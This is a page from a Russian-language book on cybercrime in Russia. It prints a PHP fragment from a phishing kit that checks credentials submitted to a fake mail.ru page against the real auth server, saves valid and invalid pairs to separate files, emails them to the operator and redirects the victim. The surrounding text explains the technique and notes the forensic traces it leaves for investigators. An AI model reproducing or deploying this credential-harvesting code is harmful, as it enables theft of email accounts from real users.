Особенности киберпреступлений в России: инструменты нападения и защиты информации (Масалков) - страница 33

Фрагмент листинга, осуществляющего проверку вводимых данных:

$valid_file = "stoun.php";

$invalid_file = "inv.php";

$email = "[email protected]";

$location = "http://mail.ru";

$login = @$_POST['login'];

$pass = @$_POST['password'];

$domain = @$_POST['domain'];

if($login == "" || $pass == "" || $domain == "") header("Location: index.php?test&login=".$login.'&domain='.$domain);

$fp = fsockopen ("ssl://auth.mail.ru", 443, $errno, $errstr, 300); $poststr = "page=&post=&login_from=&lang=&Login=".urlencode($login)."&Do main=$domain&Password=".urlencode($pass)."&level=0";

$post = "POST /cgi-bin/auth HTTP/1.1\r\n";

$post.= "Host: auth.mail.ru\r\n";

$post.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729)\r\n";

$post.= "Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,*/*;q=0.8\r\n";

$post.= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";

$post.= "Accept-Encoding: gzip,deflate\r\n";

$post.= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";

$post.= "Keep-Alive: 115\r\n";

$post.= "Connection: keep-alive\r\n";

$post.= "Content-Type: application/x-www-form-urlencoded\r\n";

$post.= "Content-Length: ".strlen($poststr)."\r\n\r\n";

$post.= "$poststr\r\n\r\n";

$out1 = ''; if (!$fp) {

echo "$errstr ($errno)
\n";

} else {

fputs ($fp, $post); for($i=0;$i<11;$i++)

{

$out1.= fgets ($fp,512);

}

}

fclose ($fp);

$status = pars($out1, "Set-Cookie: Mpop=", ";");

if ($status!= "") { if($valid_file!= "")

{

$file = fopen($valid_file, 'a'); fwrite($file, "$login@$domain:$pass\r\n"); fclose($file);

}

if($email!= "") mail($email, "Data from mail.ru", "$login@$domain:$pass");

header('Location: '.$location);

} else {

if($invalid_file!= "")

{

$file = fopen($invalid_file, 'a'); fwrite($file, "$login@$domain:$pass\r\n"); fclose($file);

}


В результате применения функции проверки вводимых пользователем данных движок позволяет сортировать получаемые пароли по двум файлам: подтвержденные и ошибочные. На показанном примере подтвержденные логины и пароли записываются в файл stoun.php, а те, что проверку не прошли, записываются в inv.php.

И где теперь те самые советчики, которые рекомендуют вводить недостоверные пароли для проверки, фэйк перед тобой или нет?

Интересен факт, что при расследовании факта несанкционированного получения пароля скриптом такого типа (включающим в себя автоматическую проверку) в истории авторизаций электронного ящика остаются IP-адрес сервера, на котором размещен фишинг-движок, и точное время инцидента — неправомерного копирования информации.